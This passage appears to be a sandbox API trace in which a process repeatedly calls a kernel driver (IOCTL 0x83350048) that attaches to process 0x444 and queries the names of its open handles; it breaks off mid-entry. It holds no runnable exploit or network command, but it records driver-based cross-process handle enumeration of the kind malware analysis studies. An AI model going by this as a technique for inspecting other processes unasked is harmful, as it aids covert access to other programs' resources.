PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.814] PsAcquireProcessExitSynchronization () returned 0x0 [0070.814] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.814] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0070.814] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.814] PsReleaseProcessExitSynchronization () returned 0x2 [0070.814] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.814] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80039ab044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039ab044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.814] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xb [0070.814] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.814] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.814] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.814] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0070.814] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.814] PsAcquireProcessExitSynchronization () returned 0x0 [0070.814] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.814] ObReferenceObjectByHandle (in: Handle=0x114, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0070.814] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.814] PsReleaseProcessExitSynchronization () returned 0x2 [0070.814] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.814] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80039ac044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039ac044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.814] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0070.814] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.814] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.814] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.814] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0070.815] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.815] PsAcquireProcessExitSynchronization () returned 0x0 [0070.815] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.815] ObReferenceObjectByHandle (in: Handle=0x13c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003241f20, HandleInformation=0x0) returned 0x0 [0070.815] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.815] PsReleaseProcessExitSynchronization () returned 0x2 [0070.815] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.815] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80039ad044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039ad044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.815] ObfDereferenceObject (Object=0xfffffa8003241f20) returned 0x1 [0070.815] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.815] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.815] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.815] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.815] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.815] PsAcquireProcessExitSynchronization () returned 0x0 [0070.815] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.815] ObReferenceObjectByHandle (in: Handle=0x144, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032429e0, HandleInformation=0x0) returned 0x0 [0070.815] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.815] PsReleaseProcessExitSynchronization () returned 0x2 [0070.815] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.815] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039b3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039b3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.815] ObfDereferenceObject (Object=0xfffffa80032429e0) returned 0x1 [0070.815] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.815] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.815] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.815] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0070.815] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.815] PsAcquireProcessExitSynchronization () returned 0x0 [0070.815] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.815] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0070.815] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.815] PsReleaseProcessExitSynchronization () returned 0x2 [0070.815] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.816] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039b4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039b4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.816] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0070.816] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.816] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.816] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.816] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0070.816] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.816] PsAcquireProcessExitSynchronization () returned 0x0 [0070.816] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.816] ObReferenceObjectByHandle (in: Handle=0x168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0070.816] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.816] PsReleaseProcessExitSynchronization () returned 0x2 [0070.816] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.816] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039b5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039b5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.816] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0070.816] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.816] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.816] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.816] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.816] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.816] PsAcquireProcessExitSynchronization () returned 0x0 [0070.816] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.816] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003241bf0, HandleInformation=0x0) returned 0x0 [0070.816] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.816] PsReleaseProcessExitSynchronization () returned 0x2 [0070.816] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.816] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039b6044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039b6044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.816] ObfDereferenceObject (Object=0xfffffa8003241bf0) returned 0x1 [0070.816] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.816] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.816] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.816] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0070.816] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.817] PsAcquireProcessExitSynchronization () returned 0x0 [0070.817] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.817] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800cfffdd0, HandleInformation=0x0) returned 0x0 [0070.817] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.817] PsReleaseProcessExitSynchronization () returned 0x2 [0070.817] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.817] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039b7044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039b7044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.817] ObfDereferenceObject (Object=0xfffffa800cfffdd0) returned 0x1 [0070.817] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.817] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.817] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.817] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0070.817] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.817] PsAcquireProcessExitSynchronization () returned 0x0 [0070.817] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.817] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002efddd0, HandleInformation=0x0) returned 0x0 [0070.817] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.817] PsReleaseProcessExitSynchronization () returned 0x2 [0070.817] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.817] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039b8044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039b8044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.817] ObfDereferenceObject (Object=0xfffffa8002efddd0) returned 0x1 [0070.817] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.817] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.817] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.817] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.817] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.817] PsAcquireProcessExitSynchronization () returned 0x0 [0070.817] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.817] ObReferenceObjectByHandle (in: Handle=0x18c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f6e070, HandleInformation=0x0) returned 0x0 [0070.817] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.817] PsReleaseProcessExitSynchronization () returned 0x2 [0070.818] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.818] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039b9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039b9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.818] ObfDereferenceObject (Object=0xfffffa8002f6e070) returned 0x1 [0070.818] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.818] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.818] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.818] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.818] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.818] PsAcquireProcessExitSynchronization () returned 0x0 [0070.818] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.818] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003245740, HandleInformation=0x0) returned 0x0 [0070.818] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.818] PsReleaseProcessExitSynchronization () returned 0x2 [0070.818] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.818] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039ba044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039ba044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.818] ObfDereferenceObject (Object=0xfffffa8003245740) returned 0x1 [0070.818] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.818] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.818] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.818] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.818] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.818] PsAcquireProcessExitSynchronization () returned 0x0 [0070.818] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.818] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032623e0, HandleInformation=0x0) returned 0x0 [0070.818] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.818] PsReleaseProcessExitSynchronization () returned 0x2 [0070.818] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.818] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039bb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039bb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.818] ObfDereferenceObject (Object=0xfffffa80032623e0) returned 0x1 [0070.818] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.819] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.819] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.819] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0070.819] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.819] PsAcquireProcessExitSynchronization () returned 0x0 [0070.819] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.819] ObReferenceObjectByHandle (in: Handle=0x27c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800328b860, HandleInformation=0x0) returned 0x0 [0070.819] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.819] PsReleaseProcessExitSynchronization () returned 0x2 [0070.819] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.819] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039bc044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039bc044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.819] ObfDereferenceObject (Object=0xfffffa800328b860) returned 0x1 [0070.819] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.819] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.819] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.819] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.819] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.819] PsAcquireProcessExitSynchronization () returned 0x0 [0070.819] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.819] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800326ec80, HandleInformation=0x0) returned 0x0 [0070.819] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.819] PsReleaseProcessExitSynchronization () returned 0x2 [0070.819] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.819] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.819] ObfDereferenceObject (Object=0xfffffa800326ec80) returned 0x1 [0070.819] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.819] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.819] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.819] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.819] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.819] PsAcquireProcessExitSynchronization () returned 0x0 [0070.819] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.819] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800326fa10, HandleInformation=0x0) returned 0x0 [0070.820] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.820] PsReleaseProcessExitSynchronization () returned 0x2 [0070.820] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.820] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.820] ObfDereferenceObject (Object=0xfffffa800326fa10) returned 0x1 [0070.820] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.820] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.820] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.820] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0070.820] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.820] PsAcquireProcessExitSynchronization () returned 0x0 [0070.820] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.820] ObReferenceObjectByHandle (in: Handle=0x2c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0015eff00, HandleInformation=0x0) returned 0x0 [0070.820] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.820] PsReleaseProcessExitSynchronization () returned 0x2 [0070.820] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.820] ObQueryNameString (in: Object=0xfffff8a0015eff00, ObjectNameInfo=0xfffffa800397e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397e044, 